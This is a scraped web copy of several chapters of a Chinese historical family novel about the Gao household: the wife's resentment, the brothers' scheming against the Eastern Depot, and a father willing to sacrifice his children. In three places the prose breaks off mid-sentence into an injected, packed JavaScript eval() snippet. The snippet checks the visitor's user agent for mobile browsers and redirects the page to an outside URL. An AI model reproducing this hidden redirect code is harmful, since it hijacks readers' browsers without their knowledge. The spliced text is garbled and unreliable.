并非病死，而是怄死。 她曾是威节侯府的独女，能文善武，恃才傲物，十六岁上，满京城的郎君都不能入眼，偏偏瞧上了来她家里打秋风的远亲，小小的通判之子，什么都没有的文生 ——高彦韬。 大概名门闺秀都有一个这样的梦吧。 有一个人，会把她看得比公主、郡主还要尊贵，比东海明珠还要耀眼，呵护她犹如她是冰凿出来的，太热了会化、太重了会碎、太冷了靠近不得、太轻了又伤自己。 然后这个人，及第入仕，一路做了天大的官。 此后余生就是绵绵无尽的幸福与荣华，天长地久。 可彼时高彦韬还不是官呢。 谁能知道他是哪里来的勇气，纵然他清流门第，累世官宦，可威节侯府祖上从龙，他怎么敢让她等，等他一个这辈子不知是不是能兑现的官身。 纵然如此，殷碧等了。 威节侯反对过，侯爵夫人反对过，她的三个哥哥还把高彦韬打了一顿。 可高彦韬从血污里爬出来，对她说： 若非是你，我终身不娶。 殷碧的六年，就是为了这四个字。 三年后，高彦韬高中进士，此时殷家已经不算太反对了，让她出来相看的婆家已经绝迹，但高彦韬仍说不行。 又是三年庶吉士，她等了，殷家多次到高家施压，她多次劝阻，她信，比任何人都信。 终于，三年以后，高彦韬散馆，到都察院做了一个正七品的都察院监察御史。 那一天，她恐怕比高彦韬的老娘还开心。 殷家上下立刻开始筹备她的婚事，她已经不小了，且满京城都知道她在等一个人。高彦韬若反悔，她难嫁，只能低就，可好在她的如意郎君并没反悔，两人完婚，婚后蜜里调油，她的梦似乎成了。 在京中待了三年，高彦韬专房三年，婆婆塞进来的良妾杨怀薇，她并没放在心上。新婚头一年，她就生了一个儿子，但孩子没活到三岁，染风寒夭折了。 夫妻情切，可抵万金，她觉得他们能携手共度的，她逼迫自己从感伤中挣脱出来，提醒自己，失去孩子的女人很多，如果她不爬起来，就是她对不起丈夫，她是无能的女人。 为了弥补这个孩子给他们二人带来的痛苦，高彦韬离京外放的路上，她怀上了第二个孩子。 她本以为平安生下这个孩子，他们的日子以后只有更好。外放纵然有些苦，但不多久父亲就会找一个机会把他调回中枢，可殷碧万万没想到，跟她做着一样梦的另有其人，能把高彦韬调任回京的也另有其人。 高彦韬三十岁那年，娶了陆从漪。 他是为了仕途，他想进都察院，殷碧如何不知呢。 她又忍了，又等了，但他们的孩子也又没了。 外放途中颠簸，高彦韬又新纳了美妾娇娘，她控制不住的心烦气躁，从此世间让她对不起的孤魂又多了一缕，但他怎么仿佛全然不知呢。 可那时她不记恨丈夫，她甚至没有对丈夫做的决策有哪怕一点怀疑，她只是更深切地恨自己。 第二年，陆从漪跟她一起有喜，前后不过几个月。 她本不该在这个时候跟高彦韬有个孩子的，可他那么真挚地恳求他，在每个晚上，那么凄楚地徘徊在她的廊下，她心软了，却不知道他在两头下注。 也许他三十岁了，再这样后继无人，他没法在家中朝中立足，她还是原谅他了。 那一年，陆从漪得了儿子，她生的是女儿。 她不恨陆从漪，始终她是原配正嫡，妾室生了孩子，陆从漪没有反抗的余力，她把那个襁褓中的孩子抱来院里，跟自己的女儿养在一起，骗自己这也是一种儿女双全，可她能骗多久呢？ 生下高雅英那一年，她病了。 最初她发觉到的时候，大概是雅姐儿出生后的两个月。 来月信的时候，她突然意识到小腹深处，隐隐有一丝凉意，仿佛在冬月里误饮了一口冰酒。但不算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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陆从漪也就罢了，还有杨怀薇，他跟别的女人头挨着头，摆弄孩子小小的，稚嫩可爱的手，他那么适意自在的样子，犹如他和自己之间从来没发生过什么，一直等他的人，是别人。 也许真的要有个嫡子，他们的关系才能恢复如初。 她托父亲的关系，找来了一位云游四海的郎中，那郎中给了一个极刚猛的方子，告诉她可以暂时止住痛楚，她就可以要一个孩子，但此方最好只用一次，日后还是要慢慢调理。 同年，陆从漪的父亲把高彦韬调回京城，殷碧在那一年，太想修复自己与丈夫之间的情谊了。 她用了药，为他有了下一个孩子。 但老天觉得她可笑吧。 那一年，杨怀薇有了高克正。 一模一样的事情，在她身上发生了两次。 她的病更重了。 她对高彦韬的恨，亦更重了。 也许从头至尾都不是她的错，也许从始至终，错的只有高彦韬一个人。 曾经让她觉得骄傲的血脉、官声、母家、财富，不都是只呵护了高彦韬一个人吗？ 她看着跟高雅英玩儿在一起的高克肃，她不由得想： 这个孩子又跟我有什么关系，他身上哪怕有一滴血是我的吗？ 这个高家又与我有什么关系，它真的在我痛苦的时候，守护过我一次吗？ 是谁促成了高彦韬，是谁让高彦韬有了今天，儿女绕膝，功成名就。 是殷碧。 那么也由殷碧，亲手毁灭。 堂屋外忽然刮进了一阵风，今年的夏日不知为何结束得如此快，冷得如此快，殷碧裹住比甲，站起身，由庄婆子扶着手走到门口，她要去迎接了。 高彦韬来了。 43.背水 “既说到这儿，我多嘴借问一句。” 严昆冈剪手在房内兜圈，紧皱眉头，忽地顿住，回望高克肃，继续道： “贵府上的女使，行事缘何是这等的刁钻异样？” 方才他将他之所见雅集诸事备细说了一遍，正说到鹿啄与高克行脱身一节，故才有此一问。然高克肃不为所动，信手将风炉上的石铫取下来，注水入壶，佯作未闻。 严昆冈并不罢休，仍剪手而立，等着他。 三盏白瓷瓯中斟满茶汤，高克肃递过一杯到殷封面前，方道： “内宅琐事，非某素所经心，舍弟房中侍从，亦由尊长们裁定。” 严昆冈长吁一声，在殷封身侧坐了，又正色道： “是，你素来不过问这些，但你胞弟的命总要过问？他如此行事，是抱了必死之心，若不是幸而哪一路的福星巧了飘过来罩在他头上，我现下给你领回来的该是一具尸首。” “秉圭言重。”高克肃也给他递上一只白瓷瓯，“刑不上大夫，厂卫何敢。” “那是你没瞧见今儿的阵仗！” 殷封刚呷了一口茶汤，闻言立刻惊呼道： “万梓阙死定了，不知什么等着他呢，一旦打成朋党，谁管你大不大夫。” “若没有家姊的一纸密文，打不成。”高克肃也不避忌，仍淡然道： “舍弟当众行刺近臣，刑官若真存了将诸位一网打尽、罗织入罪的心，海捕公文现下已到府上。” 事证如此，俱在眼前。严昆冈虽知他言之有理，心头却仍存几分蹊跷，转念再一推敲，忽觉一念通透，心中雪亮，因说道： “这‘瓜蔓抄’并非陛下的意思，只是厂宦布局，借机党同伐异，走脱了明夷，他便不能对我等再施以手段，以免事败风露，他难复天命，又及把暗查搞到了明面上，这么大的事端，我等父兄一辈在朝中闹起来，东厂走不脱一个办事不力。” 闻及此言，殷封也恍然回神，一拍案几，和道： “的确如此，那还等什么？我们现在回禀世伯，请京中父兄们赶紧上书参奏吧？” “不可。”高克肃将殷封那一掌震翻的茶瓯扶正，“家姊，舍弟，两个把柄在东厂手中，一个是投靠，一个是行刺，现在参奏，两败俱伤。” 若非高克行破局，在场众人不多时便是一并下狱。纵有“刑不上大夫”，奈何万梓阙、吴勉二人已然招伏，重刑之下熬不过，顺势攀扯，东厂便可随心捉大放小，到那时，又焉有现在一番书房纵横捭阖的轻松。 于情于理，不能将高家就此出卖，但严昆冈仍觉不甘，道： “文衷会否谨慎过头？我们据实以禀，明夷行刺之前，曾扬言是为胞姐雪恨，如此一来，他算不上藐视天威，而是为全了你家的名节，旁人听了，也只会说他忠孝节义，圣上以孝治天下，论例，当有恩赦。” 殷封适时道： “确乎如此，我与令姐一道而归，见她由婢女搀扶，以婢女粗衣蔽体，想那叶阉必定是以此折辱令姐，何其歹毒，真说出去，也并非我们给行哥儿狡辩，真凭实据在此，我可为……” “人证”一词还未出口，高克肃陡然将洗茶的残水倾入建盂，“哗喇”一声激响，堵住了殷封的义愤，只听高克肃道： “那么家姊的名节呢？她不在我高家门墙之内么？” 此言一出，严、殷二人失语，垂首默然。 须臾，严昆冈露出个意味不明的神色来，道： “文衷，到底是令姐先陷高家于不义，况且，她只是你的嫡姐，明夷可是你一母所出的亲弟。” 这说辞倒没让高克肃面上有什么变化，他只是取了新茶置于壶中，并不举目，道： “嫡姐亦是长上，名节大事，应由双亲裁夺，不凭我妄断。” 并非托词，而是他真切作此想。 “这么说，要解了此劫，只能在明夷或令姐之中，舍出一个？” 严昆冈又是长叹，继续道： “抑或咱们避重就轻，只参东厂‘擅拿官眷、私设公堂’，此疏必致三法司会审，届时，家父是大理寺卿，令尊、令外祖，都在都察院任要员，殷家勋贵，刑部又是清流，未必就不能全胜？” “东厂不是死的。”高克肃再次一一斟满茶瓯，“上疏纠劾，必遭反扑，两方聚讼，陛下生厌，不愿再过问曲直，只图牵制，届时只有舍弟一命，去换贵人落马。” 此一番计议，终是徒劳，良多假设、筹谋，复又回到一盘死棋之上，满室寂然。久久不发一言的殷封紧咬牙关，剑眉一横，道： “说来说去，还不是闭门造车？依我看，也不管早晚，事态紧急，现在咱们就去请示令尊大人，他是为官做宰的人，强如咱们在此纸上谈兵。” 去找高彦韬，才是最坏的法子。 高克肃明知是这个道理，却也知绕不开他，一旁殷封和严昆冈都似得了救，一壁互相附和着起身，一壁整肃衣冠，见高克肃迟迟不动，二人一同投来个不解的目光，严昆冈道： “怎么还坐着？” 窗外投来的月色映在高克肃身前案几上，他的神色掩在影中，模糊不清，只听他道： “就来。” 二门上落了钥，高彦韬侍奉双亲在内，三人要去，得找二门上守夜的婆子进去通传，把高彦韬请出来，殷封絮絮抱怨，火都烧到眉毛上了，礼教规矩还不放一放，高克肃却不答他，另使了一个小厮去叫高克行房里的清影和素馨，还有那个书童。 若是问起事前情状，得由这几人在场分说。 婆子进去通禀，高克肃随身的小厮到延晖阁去找人，一时垂花门外，只剩下三个少爷迎风站着，各怀心事，不知从何说起。 循二门外墙至转角，能看到三株老杏，原为高家老太爷建宅时取杏林设宴的意思所植，而今长得太密了，需时时修剪。这几日天将入秋，园丁瞧着老杏并不如盛夏时猛长，就疏忽些，时间长了，也投下一片树荫来。 树荫里，站着一个人。 好歹殷封出身威节侯府，比完全的书生要警醒，余光扫过，立刻觉察，扯着高克肃和严昆冈向后退了两步，又做出架势护在前头，三人定睛细看，才瞧出树下之人竟是鹿啄。 “她怎么回来了？” 殷封一看是鹿啄，便不再那么紧张，只是因雅集上的事，先入为主给鹿啄扣了个弃主独活的名头，面上显得不悦。 她回来，理应像那书童一样大张旗鼓，在正门哭叫，三五个小厮从马上往下抱人才对，可她越过了正门的护院，也没惊动任何人，高 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本朝素有些嗜奇好异的人，买婢子或乐伎、小唱，喜欢其人有些特别的本事，更有甚者，专买些天姿好的，回来教授各样本事，学武就是其中颇受推崇的一类。所以鹿啄会武并不是顶稀奇的事，只是她的武艺，好到已经超出奇人异事的范畴。 这就不便与外人多说了，因而高克肃只道： “说来话长。” 高克行平素恰好就是所谓嗜奇好异的那种人，他喜欢出挑的女婢在文人中已有共识，严昆冈和殷封也不多做揣测，前者只就着信又道： “看来明夷现下无恙，还有这么个丫头相护，你我暂且能安心了。稍后跟伯父回了事，拿个对策出来，咱们再去瞧他。” 话毕，严昆冈随手把信递给高克肃，这会儿去延晖阁的小厮也回来了，领着清影。高克肃不动声色将书信收入怀中，转向小厮，却见清影一脸汗泪交加，不敢多问，只急切地瞧着他。 另一个小厮是一道回来的，稍落在后头一些，可只他一人，不见素馨。 高克肃不语，居高临下。 他是什么脾气秉性，清影很清楚，忙半蹲下去，福身道： “婢问少爷安。” 说来这也是个不寻常的丫头，她身子肥白，足有寻常两个丫鬟捆在一处的宽窄，偏又不似寻常胖人那样憨态，生就一张团团紧实的脸盘，眉宇间宝光流动，灵秀逼人，一望便知是极内秀通达，洞晓事理的。 这个姿势她拿得难受，寻常高克行都叫她免礼，但在高克肃面前不能乱了半分规矩，她稳了稳，继续道： “敢问爷可是要寻素馨么？她的下落，奴婢实不知情。只知接连两日，院门下钥后她便不见踪影。今日亦然。” 她本不该当着外男的面张扬高克行院中的异样，但现在是什么节骨眼，还替素馨遮掩，只怕会姑息养奸了，更何况也遮掩不过。 高克肃神色如常，略一点头示意她起来，道： “等找回来，即刻发卖，不必回母亲。” 若要在外男面前维持后宅的体面，非要一个刚直不阿才行，清影大概知道这样的结果，也不替素馨辩驳什么，称了个是，跟在几个少爷后头朝二门走。 守门的婆子已经回来，除过高彦韬叫三人到花厅叙话外，另有一节禀告：殷氏会同行。 44.弃子攻杀 信已送了，却不能走。 鹿啄半蹲在花厅的卷棚顶上，面朝天井，估摸着等院里没了动静，就下到天井假山后头，花厅里外掌灯，支摘窗启了一半，若要偷听窥伺，假山后是比房顶上更好的选择。 至于偷听窥伺些什么，一是她已看到殷碧和高彦韬入内，她自然要借机探看；二是她得等高克肃出来，高克行的信上分明写了阿啄引路四个字。 并不能把另外两人也带回去，鹿啄判断不出这二人跟殷碧的关系。尤其里头还有一个干脆就姓殷，恐怕会相当碍手碍脚。 她无知无觉将高家除殷碧所出外的子女都化作了自己一派，即殷碧有事，他们也不会有什么激烈的抵抗或反应。 有赖于啜狗山上并没有所谓“父亲”这一角色，唯一勉强可堪此任的从娘又从未与鹿啄相处过，于是鹿啄只把高克肃、高克行视作陆从漪的孩子，对高彦韬所担当的身份和他荫护高家又代表着什么，一无所知。 甚至关于高彦韬这个人，鹿啄连想象都欠奉。 故此，真的亲眼见到高彦韬，鹿啄也只当是见到了一个五十岁上下的普通男子，不作他想。 然实则高彦韬是有些不同的。 他蓄须，戴四方平定巾，与平头百姓心中官老爷的面目极相合，但此外，又有地阁方圆、骨相峥嵘，乃是一副主决断、不更移的威肃之相，不必旁人说什么，高克肃与他站在一处，就是活脱脱的父子。 但若在两人身侧再摆上高克行，那就得细细去看，才能通过三人如出一辙、高贯如岳的鼻梁，辨识出血亲关系。 他与殷碧居上位，不向任何人攀谈寒暄，任由殷碧慈爱地跟殷封说了半晌，才叫高克肃把情由都说了。随着那话一字一字尽吐出来，每多说一些，他的脸色就难看上半分，直至一张脸全沉了下去，嘴角几乎要荡到地上。 高彦韬的嘴唇本就很薄，带了怒气后，几乎成了一条细线，过了片刻，只听他道： “今日跟着雅儿、汐儿的丫鬟，都有谁？” 这话不能是问旁人，只有殷碧，庄婆子适时上前一步： “回老爷的话，都是姐儿们从小用的大丫头，大小姐那儿跟着的是玉珰、银钿、花络三个，三小姐那儿跟着的是拾翠和点虹。” 高彦韬仍是怒容满面，沉声道： “都拉到庄子上去，现在去。” 目睹了小姐受辱，便不可能留着。可高彦韬盛怒之下并没算计，何止是几个丫鬟看到了。殷碧只由着他继续发怒，她深知这所谓拉到庄子上，并不能防她们于口，该是离府不久后，就叫她们渐渐“病故”，可高彦韬在气头上，不是该驳他的时候，殷碧也不 耐烦真心劝他。 “还有跟着二郎的，也通通拉到庄子上去！” 此言一出，除了高彦韬近身的人，其余屋里大大小小的仆婢们都慌忙跪下，尤其是高克行带去雅集的书童，他脸刚埋下去，泪就落进嘴里，又不敢吭声，只能涕泪都吞下，声音也咽了。 即刻高彦韬身边的人就要出来拉人，殷碧眼也不抬，任由那书童被拉出去，另一边却给庄婆子使了个眼色，叫她出去，在外面拦住到高雅英、高汐英院里抓人的小厮。 庄婆子得令绕出去，其它人只当她是去给小厮领路或认人，并没拦她。 酝酿了也算有一会儿了，殷碧终于落下两道清泪，她轻轻拿帕子拭泪，也不说话，等着高彦韬那句“你教的好女儿！”，相处多年，她早知道高彦韬什么样子，此处有无外人又是什么样子。 今日的情形，有这样一句就已算他气得狠了，若没外人，他难保不会砸些东西之类的。 果然，高彦韬道： “你教的好女儿！还有脸哭！” 自然要哭，不哭怎么显得自己毫不知情。 不光要哭，她还要把自己母女是如何的可怜扮到底，并不是想搏高彦韬的同情，这畜生素来没这样的心地，只是要他看轻她，不防备她。殷碧道： “妾教女不善，错得很，只是老爷切莫为了妾这一点小事动怒，该想想如何救行哥儿要紧。” “是啊。” 殷封原本坐着，见姑母落泪，心中不忍，也想快快揭过，便前出一步，揖礼道： “姑丈，女子名节事大，但表姐是为人所害，请您也别过多苛责，眼下还是想想如何救行哥儿要紧。” 闻听此言，高彦韬的怒气也并没消减，他看向高克肃，后者垂目，波澜不惊，再一扭头，边儿上是严昆冈，他感知到高彦韬投来的目光，也揖礼道： “世伯，您不必忧虑，今日恰巧舍妹也在女席，平日里她在女眷中尚有些人望，小侄即刻遣她到众官眷处，将利害关系剖析明白。有她出面，务求此事得以机密。” 无人应答。 花厅中烛火摇曳，一时窜跳不定，殷碧的婢女要去放下支摘窗，却看到主母示意她勿动。 窗外假山后，鹿啄又向里挪了两寸。 比起儿子的性命，这些人竟然更在意女儿的名节，这叫鹿啄不解。因逐娘的出身，她很知道名节是什么意思，却从不放在心上，因那是对于她来说，根本不存在的东西。 但她又想，如果回去把这些话都学给高克行，高克行是不是能给她解惑，或者他能彻底对高家寒心，也好。 一念未毕，就听窗中又有声音传来，是高彦韬在说话，声色更厉： “还有何可救！一个玷辱门楣，另一个更是自蹈死地！行事但求磊落，无愧于心，断无欺君罔上之理！有事便奏事，有本便回 本。纵使圣上震怒，雷霆雨露，莫非天恩。这项乌纱是去是留，全凭圣上是否念及多年犬马微劳罢了。” 他一番话掷地有声，真真个忠直亮节的骨鲠之臣。 可这厅内却有两个人真切知道他的意思。 殷碧没听过高克肃书房中的一番议论，但她知道高彦韬素来明哲保身，他有几分是对圣上的真心，又有几分是不肯脏了自己的手替儿女谋划，殷碧很有数。 至于高克肃，未动身前他已料到是这个结果，在高彦韬眼中，单舍了高克行或单舍了高雅英，都未必能将东厂的刑官一举劾罢，也未必能叫高家全身而退，但压上两个，把握就很大了。 高克行必不会死，至多流放，届时寻机将人带回来，仍旧处理高家不在台面上的事。 至于高雅英，高彦韬真的不在乎。 不明就里的殷封和严昆冈俱是一怔，面面相觑，心中不知该感佩还是该恶寒，此时只听得座上殷碧哭声更大了些，殷封尤是不 忍，再劝道： “姑父切莫义愤之下做了有伤骨肉天和的决断，来日追悔莫及。此事定然还有万全的法子，行哥儿和表姐所为虽悖，然事非无 因，不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17089648|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该平白断送他们啊。” 前面鹿啄还听得云里雾里，这一句“断送”却让她明白了，高彦韬这是要拿一双儿女的命出去，不知要做什么。但雅集上高克行的那些仇家，到是应当很乐意听到这种话的。 她不由得对这事起心动念：原来有生身父母的人，未必比得过她这样无父无母的。 论起可怜可悲，不知她跟高克行谁更胜一筹。 厅内，高彦韬又道： “内侄不必多劝，高家生养他们，授以祖宗血脉，岂容他们如此作践门楣？他们今日对不起列祖列宗，便是自绝于斯文，自绝于门庭！” 又是一阵死寂。 严昆冈自觉摸出些门道了。若说高雅英今日所为，是背叛了高家，尚算说得过去，可高克行却是为了高家搭上了一条命，高彦韬难道不知？还是他佯作不知？ 当时的情境下，易地而处，严昆冈自认是不会那样做的。污涂的门楣，自有长辈们去筹谋如何洗净回来，可丢了一条命，就是一了百了。 在自身性命与家族名节的两难中，高雅英选了前者，高克行选了后者，可无论谁，都不该承担这样的抉择，这个道理，难道高彦韬不知吗？ 高家的水这样混，要不要启程回去，回给父亲知道，这浑水他跟妹妹可不能蹚。 起了这样的念头，严昆冈便不打算再劝了，若为着跟高克行的情分，与其这时候费傻力气，不如回京替他多走动走动刑部，至少保他一命。 旋即，他又想起一个人。高克行不仅是高彦韬的亲子，更是高克肃的亲弟，难道高克肃不劝？ 像是与他灵犀相通，高克肃竟真的开口，他道： “父亲或可上本，只言青州刑官办案操切，恐激起地方不稳，奏请将其调回京中述职。” 此言一出，严昆冈不由得在心中叫好。是了，寻个不打紧的由头把那什么陈阿猫调回去，他的耳目一走，高克行自然安全了，纵然还有一二番子，却不敢妄动高家。 同时，这不紧要的由头也不会招致东厂或权宦的反扑，却可让内廷的人知道青州有事，高家牵涉，一番掂量加之陈阿猫的述职，两方都心中有数。 高克肃语速极快，这段话听来要么是准备了多时，要么是他本不做希望，说得毫无波澜： “待刑官离开，克行之危自解。届时，再请舅父向内廷递话：此事若深究下去，徒损朝廷体面，两败俱伤。司礼监衡利弊，必会顺势而为。可保两全。” 虽然两边都吃了哑巴亏，却也是两边都捞了便宜。 高家自此立住了清流领袖、忠孝节义的名儿；东厂办了万家、吴家，也算干净利落，雅集之事便犹如从未发生，大事化小，小事化无。 只是有这样的主意，高克肃为何不说呢？ 严昆冈觑着他的脸色，却见他神色如常，正待他要深想，却听座上高彦韬雷霆震怒，喝骂道： “鬼蜮伎俩！此等机心诡道，岂是我等诗礼传家之门所应为？你从何处沾染得这般下作习气？枉费我一番心血栽培，只道你比你那不成器的弟弟强些，谁知竟也是个不长进的阴损东西！” 在殷封的不解、严昆冈的惊异、殷碧的哭声中，高克肃跪下叩首。 他也只是试试罢了。 又听高彦韬道： “滚出去，把《朱子家训》抄上百遍，明日午后拿来回话！” 45.刚德克就 佛家讲不为八风所动，即是利，衰，毁，誉，称，讥，苦，乐，四顺四逆八风，高克肃自问不能无动于衷，但就其所示之相，已有不动之形。 从花厅退出来，他几乎容色不改，见两个小厮上来，转头吩咐道： “我要出门，去库里找一盏羊角灯送来。” 无人发问，左右小厮得令称“是”，一人加紧脚步到含章馆库里寻灯，又因已经入夜，另一人自觉去房内拿披风，高克肃止住脚步，欲要改道正门。 此时，一双家里女婢常穿的鞋面，映入眼帘。 鹿啄从转角出来，到离高克肃五步近的位置站住，她还穿着高府丫鬟的衣裳，离灯火远，几乎在阴影里。往来有人，也注意不到她的样貌，只觉得平常。她道： “还有衣裳、饭。” 高克肃皱眉，但鹿啄又隐入阴影，转瞬不见了。 他并不等，仍径自出了二门，行至外院影壁墙左近，见取披风的小厮迎面上来，小厮将披风给高克肃围上，都齐整了，就退开在侧，等高克肃吩咐。 “去二少爷院里找身素净些的衣裳，再把我的夕食拿提盒装上带来，我今晚出去，你们不必跟着。” 小厮面露难色，不过一个眼神投来，他又立即躬身应是，取道往延晖阁的小径。 女子的声音从头顶飘下来： “大门。” 仿佛一句都不愿多说。 高克肃停住脚步，方才压抑的不悦有些涌上心头，但很快又褪去。 少顷，左右小厮复返，将提盒、衣裳、羊角灯都备齐了。二人却不敢递给少爷。高克肃也无意自己去拿，引两小厮到大门石阶处，看见鹿啄正在影中等他，便示意小厮将东西递过去。 鹿啄不接。 而且要跑。 高克肃只得叫小厮将灯给他，提盒放在地上，衣裳打了包袱，包袱搭在提盒上，摒退二人后，对阴影道： “他是你的爷，这是你分内的事。” “他是你弟弟。” 鹿啄行七，下面只有鹿鸣，但鹿鸣并没上山，姐姐们为她做得多，她为姐姐们做得少。换成弟弟，应该是一样的道理。 “兄弟、主仆，你分不清楚？” 无论武功多高，身份为何，卖身入府，就是为奴，高克肃的道理也很明白。只可惜他碰上了道理更明白，更直接的人。鹿啄道： “你拿不动？” 此二人都不是喜怒形于色的人，也很少真的以询问的口气问话，除非真的不解，或是想要反问。高克肃是后者，鹿啄是前者。 终是高克肃不愿在此事上多耗功夫，提了食盒，随鹿啄走入阴影。 当初为出入高府便利，鹿啄和鹿苓所居旧屋选的离高府并不远，出了高家的巷子，再过一条街，便能看见那间独门。 独门虚掩着，开合尺度与鹿啄出门时无异，鹿啄先一步启门，方迈过门槛，就见院内浓烟滚滚。 焦香、糊味儿、腥气，混着高克行身上爱用的异域熏香，冲得鹿啄直皱鼻子。 浓烟之中闪出一个人，脸上、身上，都黑了好多块，朦朦胧胧能看出是高克行，煤球一样滚到鹿啄身边，呛咳半晌，道： “你存心饿死我不如一刀杀了我，何苦留我在庖厨上受尽折磨。” 话毕，他突然看到鹿啄身旁还有一个人，待看清是谁后，不由悻悻住嘴，半晌，吞吐出两个字来： “兄长。” 高克肃捡了一片干净的地方放下食盒与包袱，羊角灯向前伸了伸，照亮了高克行的脸。 “像什么样子。” 虽说话是责备，但高克肃的神色却是他这一天之中所显露过的，最为柔和的。 高克行对高克肃一笑： “除了像我的样子，还能像什么样子。兄长给我带了饭吗？我一天滴米未进，就要遂了他们东厂的意了。” 他饿死了，东厂自然遂意。 高克肃没接他的话头，将提盒拿到院内，置于桌上。 桌椅是高克行自己从堂屋搬出来的，他知道大哥要来，堂屋狭窄，不是大哥这样金贵的人可以用饭的地方，院子虽小，却通透许 多，且他饿坏了，不知鹿啄几时回来，他几乎拿不住笔，只能自己先尝试做一些果腹。 可他失败了。 两块烙得梆硬的死面饼，一碗本该是蛋羹的蛋花汤，并几块儿看不出生前面貌的糊肉，凄惨地摆在桌上，没有一样能入高克行的口。 两相比较，高克肃所携提盒里的饭就太有样子了，只是不多，原是高克肃一个人的分量。 高克行张罗着高克肃和鹿啄在桌边坐了，他心知大哥是不可能跟丫鬟同席用饭的，还想揶揄他两句，让他识趣，但高克肃并没说 什么，只是坐得离鹿啄很远。 碗筷也在提盒里，预备了两人份，高克行又捡着婆子家里不算特别破的碗取了一只来，并两根不能齐头并进的筷子，给他自己用。 极为有辱斯文地嚼了几口后，高克行终于觉得眼前不冒金星了，边捡着高克肃递过来的手帕擦脸上的黑灰，边问： “昆哥儿去家里了？” “是，守之更早些，还有你那书童，事情都与我说了，父亲已经知晓。” 一句话里裹着七八件情由，高克行也不必问，他时间不多，直切要害： “高克己要杀我。” 话音方落，高克肃的脸色看着并没什么变化，但下颌不着痕迹地鼓起，显得他面上更冷峻几分。 高克行浑不在意，他余光瞥见鹿啄一直在嚼他烙的饼子，觉得好笑，伸手搛了一筷子高家带出来的腌制鸭货放在鹿啄碟子里，转而把帕子翻了一面，也不顾及他大哥的东西有多华贵娇气了，又擦着手对高克肃道： “过了今夜，他要是胆子大没跑，要想法子制住他，不然要么是我，要么是长姐，父亲一定会舍一个。如果你不便动手，或是有其它挂碍，阿啄会去。” 鹿啄还在啃饼子。 高克己是帮殷碧安排小官的人，高克行纵然不说，鹿啄也要抓他。 方桌上首，高克肃摇摇头。 高彦韬并不是要挑一个来舍，而是干脆两个都不要了。这结果没什么承担不起的，他却不想再让弟弟伤心，只道： “父亲那儿，我会尽力而为。” “怎么尽力？”高克行余光觑着鹿啄，忽然觉得有点古怪，但还是先对高克肃继续道： “我本不用跟兄长说这些道理，只是兄长的成算我也知道，并不顶用。” 他仿佛已知道花厅中高彦韬的一番谋算，言外意有所指，高克肃不置可否，听高克行道： “无论如何，殷家定然出手，娘和你也不会舍了我，父亲那里，只还差一招。” 高雅英裹在里面，殷碧、殷封俱已知道实情，纵然殷碧没有自己的法子，听了高克肃的说法，她不日就会有动作。至于陆从漪与陆家，只在高克肃的一句话。 这就显得高克己至关紧要了。 拿住他，不仅有了真正的“真相”，更有同时拿住高彦邦的好处。 高彦邦不同于弟弟，绝不会舍了自己的嫡长子，哪怕是与高彦韬拼命。 “不过可惜严家的婚事要告吹了。”高克行忽然挑眉笑道，“经过今天这一遭，昆哥儿不是傻人，不连夜脚底抹油就不错了。” 说话间，高克行突然注意到桌上的饼子和鸡蛋汤都没了，高家带来的菜却还有剩，鹿啄竟然一口未动。他想起鹿啄走前，说过她原先的家里，是二姐做饭。 难道跟这个有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“漕运和盐运，一条线上的人我都问过，查过，有几个人的盐引不能去活动，剩下的，看父亲的意思。至于青州这里投献，还是记在我名下，佃租照旧。” 官员家中田产可免徭役，不堪重负的农户会将手中的田地投献，以轻省的佃租替代沉重的徭役，高府三房的佃租由高克行制定，田产也记在他名下。 “有个姓孙的书商，徽州人士，他有一笔润笔费我已经谈妥，只是这个关头，先不要收，若是上门，叫管事的去打发，只说不认识。” 本朝商人地位不比前朝历代更高，仕商结交仍是大忌，但高家有“不肖子”出面，时而就会有名为“润笔费”的捐资流入高府。 这些事，高克行若办得仔细，高家世代膏腴；高克行若办得不仔细，高家也只是丢了一只脏桶，极容易便能撇清。 高克肃心知肚明，却不能让他解脱，唯有等。 “你不必挂怀了。” 说着，他拿起提灯，犹豫一瞬，方又开口，不着痕迹地向鹿啄投去个眼神。 “只是这丫头，你不该留。” 鹿啄正把高克行的“杰作”遗骸倒入灰桶，并没朝门口看。 她是高克行在雅集上的共犯，是跟着少爷流落在外的，说不清道不明的丫鬟，无论出于什么，高家不该留她。 但高克行了然，在这世上，除了鹿啄自己，没人能定她的命。 “兄长如果疼我，只疼我这一样吧。”高克行露出个孩子时候才会对高克肃露出的笑容，“只有阿啄，由着我吧。” 街上传来二更梆子响，夜风转寒，乌云蔽月，长街上空无一人。高克肃远去的脚步声是唯一的声音，在两侧高墙间回荡。风从墙缝里渗出来，吹得羊角灯微微摇晃。 46.蒙学注疏 高克肃有幼时在威节侯府学武的底子，高克行并不担心，故而全然没有打算自己去送，或叫鹿啄去送。眼见兄长的身影消失在街角，高克行合上门，折返入内。 屋里炕上摆了一张炕桌，是高克行早想到就寝的问题，提前摆上去的，用来隔开他和鹿啄的位置。但鹿啄并没准备睡，靠着一盏油灯，在瞧高克行下午写下的东西。 高克行忽然有些无所适从。 